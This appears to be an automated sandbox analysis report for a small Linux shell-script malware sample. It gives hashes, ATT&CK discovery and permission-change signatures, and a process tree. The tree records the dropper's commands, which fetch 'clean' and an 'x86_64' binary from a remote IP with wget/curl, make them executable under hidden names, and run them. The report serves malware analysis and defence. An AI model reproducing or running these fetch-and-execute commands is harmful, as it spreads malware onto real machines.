7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc

Analysis

max time kernel
27s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/06/2026, 04:21

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General

Target
sh
Size 2KB
Sample260628-eyr78afs3z
SHA256 7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc
MD5 d0cf38716e43563331c02cf645ecd993
SHA1 e35e6a0244f8edeb9fe4af22db53655762ec6572
SHA512 b014b744c399ee3c1d091264d774d9361e8d632305230ef2d7f5341646a3adfa0688f2c746779f882ba8cd105cb41b327725fcf9a809b0fba2199119ae63d099
TLSH
T1DA4122BAF4628E3033ADC5BD748A654CA7579A6F491B2E74F087783C27BC32470742A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1504	chmod
1515	chmod

Reads AppArmor ptrace settings 1 TTPs 1 IoCs

Discovery of allowed ptrace capabilities by AppArmor.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/security/apparmor/features/ptrace	find

Enumerates running processes
Discovers information about currently running processes on the system

Reads hardware information 1 TTPs 1 IoCs

Accesses system info like serial numbers, manufacturer names etc.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/power	find

Reads network interface configuration 2 TTPs 12 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/statistics	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/power	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find

Reads CPU attributes 1 TTPs 20 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/power	find
File opened for reading	/sys/devices/system/cpu/cpuidle	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/vulnerabilities	find
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/power	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/smt	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/debug/dri/0	find
File opened for reading	/sys/devices/platform/serial8250/tty/ttyS28	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_connect	find
File opened for reading	/sys/devices/virtual/block/loop3/integrity	find
File opened for reading	/sys/kernel/debug/tracing/events/libata	find
File opened for reading	/sys/kernel/debug/tracing/events/kmem	find
File opened for reading	/sys/devices/pci0000:00/0000:00:00.0	find
File opened for reading	/sys/devices/virtual/block/loop2/slaves	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_preadv	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_exit	find
File opened for reading	/sys/devices/pci0000:00/0000:00:06.0	find
File opened for reading	/sys/kernel/debug/tracing/events/net/net_dev_queue	find
File opened for reading	/sys/devices/virtual/workqueue/writeback/power	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_syncfs	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_clone	find
File opened for reading	/sys/kernel/debug/opp	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata6/power	find
File opened for reading	/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:05/power	find
File opened for reading	/sys/module/netpoll	find
File opened for reading	/sys/kernel/debug/tracing/events/drm	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_discard_blocks	find
File opened for reading	/sys/kernel/debug/tracing/events/cgroup/cgroup_setup_root	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_poll	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_newfstat	find
File opened for reading	/sys/class/rfkill	find
File opened for reading	/sys/module/syscopyarea	find
File opened for reading	/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/PNP0A06:01	find
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/user.slice/user-0.slice/[email protected]	find
File opened for reading	/sys/module/usbhid/parameters	find
File opened for reading	/sys/module/rfkill/parameters	find
File opened for reading	/sys/module/kgdb_nmi	find
File opened for reading	/sys/kernel/debug/tracing/events/sched/sched_waking	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_renameat	find
File opened for reading	/sys/bus/pci_express/drivers/pciehp	find
File opened for reading	/sys/module/parport_pc/sections	find
File opened for reading	/sys/module/vt/parameters	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_utimensat	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_move_pages	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sigaltstack	find
File opened for reading	/sys/devices/virtual/vc/vcsa1/power	find
File opened for reading	/sys/fs/bpf	find
File opened for reading	/sys/devices/virtual/block/loop7	find
File opened for reading	/sys/kernel/debug/tracing/events/filelock/break_lease_noblock	find
File opened for reading	/sys/devices/platform/serial8250/tty/ttyS7	find
File opened for reading	/sys/kernel/slab/tw_sock_TCP	find
File opened for reading	/sys/fs/cgroup/pids/user.slice/user-0.slice/[email protected]/evolution-calendar-factory.service	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_getgid	find
File opened for reading	/sys/class/power_supply	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata5/link5/dev5.0/power	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata3/link3/dev3.0/ata_device/dev3.0	find
File opened for reading	/sys/bus/i2c	find
File opened for reading	/sys/module/libahci/holders	find
File opened for reading	/sys/kernel/debug/tracing/events/kmem/kmem_cache_alloc_node	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata3/link3/dev3.0/ata_device/dev3.0/power	find
File opened for reading	/sys/module/nfnetlink/notes	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_free_blocks	find
File opened for reading	/sys/devices/platform/serial8250/tty/ttyS6/power	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_journal_start	find
File opened for reading	/sys/devices/virtual/vc/vcs1/power	find
File opened for reading	/sys/fs/cgroup/systemd/user.slice/user-0.slice/[email protected]/gvfs-mtp-volume-monitor.service	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_mkdirat	find
File opened for reading	/sys/devices/virtual/tty/tty38/power	find
File opened for reading	/sys/bus/scsi/drivers/sd	find
File opened for reading	/sys/bus/usb	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/167/task	find
File opened for reading	/proc/168/task	find
File opened for reading	/proc/28/task	find
File opened for reading	/proc/965/task/966/net/netfilter	find
File opened for reading	/proc/1030/task/1030/attr	find
File opened for reading	/proc/1049/task/1054/net/stat	find
File opened for reading	/proc/1171/task/1269/net	find
File opened for reading	/proc/158/task/158	find
File opened for reading	/proc/162/task/162/fd	find
File opened for reading	/proc/699/fdinfo	find
File opened for reading	/proc/1055/task/1055/attr/apparmor	find
File opened for reading	/proc/1072/task/1118/attr/apparmor	find
File opened for reading	/proc/490/task/506/net/stat	find
File opened for reading	/proc/1072/task/1119/net/stat	find
File opened for reading	/proc/1322/task/1325/net/dev_snmp6	find
File opened for reading	/proc/sys/debug	find
File opened for reading	/proc/sys/fs/binfmt_misc	find
File opened for reading	/proc/161/attr/selinux	find
File opened for reading	/proc/685/task/685/attr/selinux	find
File opened for reading	/proc/881/task/883/attr/selinux	find
File opened for reading	/proc/886/task/886/attr/apparmor	find
File opened for reading	/proc/889/task/889	find
File opened for reading	/proc/1043/net/netfilter	find
File opened for reading	/proc/17/fd	find
File opened for reading	/proc/27/task/27/net/netfilter	find
File opened for reading	/proc/166/map_files	find
File opened for reading	/proc/483/task/488/net/netfilter	find
File opened for reading	/proc/509/task/509/attr/selinux	find
File opened for reading	/proc/593/ns	find
File opened for reading	/proc/658/fd	find
File opened for reading	/proc/662/task/695	find
File opened for reading	/proc/10/task/10/attr/apparmor	find
File opened for reading	/proc/13/task/13/attr/apparmor	find
File opened for reading	/proc/89/task/89/net/netfilter	find
File opened for reading	/proc/662/task/662	find
File opened for reading	/proc/699/task/893/net	find
File opened for reading	/proc/950/task/950/ns	find
File opened for reading	/proc/1013/task/1013/net/stat	find
File opened for reading	/proc/1032/task/1032	find
File opened for reading	/proc/sys/dev/parport/default	find
File opened for reading	/proc/34/attr/selinux	find
File opened for reading	/proc/36/task/36/attr/smack	find
File opened for reading	/proc/420/task/420/attr/apparmor	find
File opened for reading	/proc/478/net/dev_snmp6	find
File opened for reading	/proc/945/task/949/net	find
File opened for reading	/proc/992/task/993/net/stat	find
File opened for reading	/proc/1001/fdinfo	find
File opened for reading	/proc/9/task	find
File opened for reading	/proc/433/task/437/attr/selinux	find
File opened for reading	/proc/467/task/516/fd	find
File opened for reading	/proc/477/task/477/net/dev_snmp6	find
File opened for reading	/proc/591/attr	find
File opened for reading	/proc/965/net/stat	find
File opened for reading	/proc/1022/task/1023/fdinfo	find
File opened for reading	/proc/1067/task/1109/net	find
File opened for reading	/proc/163/task/163/net	find
File opened for reading	/proc/699/task/896/net	find
File opened for reading	/proc/903/task/905/attr/apparmor	find
File opened for reading	/proc/1034/task/1034/attr	find
File opened for reading	/proc/1061/map_files	find
File opened for reading	/proc/1229/task/1230/net/netfilter	find
File opened for reading	/proc/98/task/98	find
File opened for reading	/proc/169/map_files	find
File opened for reading	/proc/591/task/591/attr/smack	find

/tmp/sh
/tmp/sh
1⤵
PID:1472
- /bin/grep
  grep noexec
  2⤵
  PID:1475
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:1474
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1476
- /usr/bin/whoami
  whoami
  2⤵
  PID:1480
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/unified -not -path "/sys/fs/cgroup/unified/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/pstore -not -path "/sys/fs/pstore/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/hugetlb -not -path "/sys/fs/cgroup/hugetlb/*" -not -path /sys/fs/cgroup/rdma -not -path "/sys/fs/cgroup/rdma/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*"
  2⤵
  - Reads AppArmor ptrace settings
  - Reads hardware information
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1481
- /bin/uname
  uname -mp
  2⤵
  PID:1486
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:1491
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:1490
- /usr/bin/expr
  expr 60964 "%" 32 + 4
  2⤵
  PID:1492
- /usr/bin/head
  head -c 8
  2⤵
  PID:1496
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:1495
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:1494
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:1497
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:1499
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:1500
- /bin/rm
  rm -rf clean
  2⤵
  PID:1501
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/clean
  2⤵
  PID:1502
- /usr/bin/curl
  curl -skO https://217.60.195.113/clean
  2⤵
  PID:1503
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /bin/sh
  sh clean
  2⤵
  PID:1505
- /bin/rm
  rm -rf clean
  2⤵
  PID:1506
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:1507
- /bin/rm
  rm -rf .NEYYu7Kx
  2⤵
  PID:1508
- /bin/grep
  grep -q x86_64
  2⤵
  PID:1510
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:1511
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/x86_64
  2⤵
  PID:1512
- /usr/bin/curl
  curl -skO https://217.60.195.113/x86_64
  2⤵
  PID:1513
- /bin/mv
  mv x86_64 .NEYYu7Kx
  2⤵
  PID:1514
- /bin/chmod
  chmod +x .NEYYu7Kx
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /.NEYYu7Kx
  ./.NEYYu7Kx
  2⤵
  PID:1516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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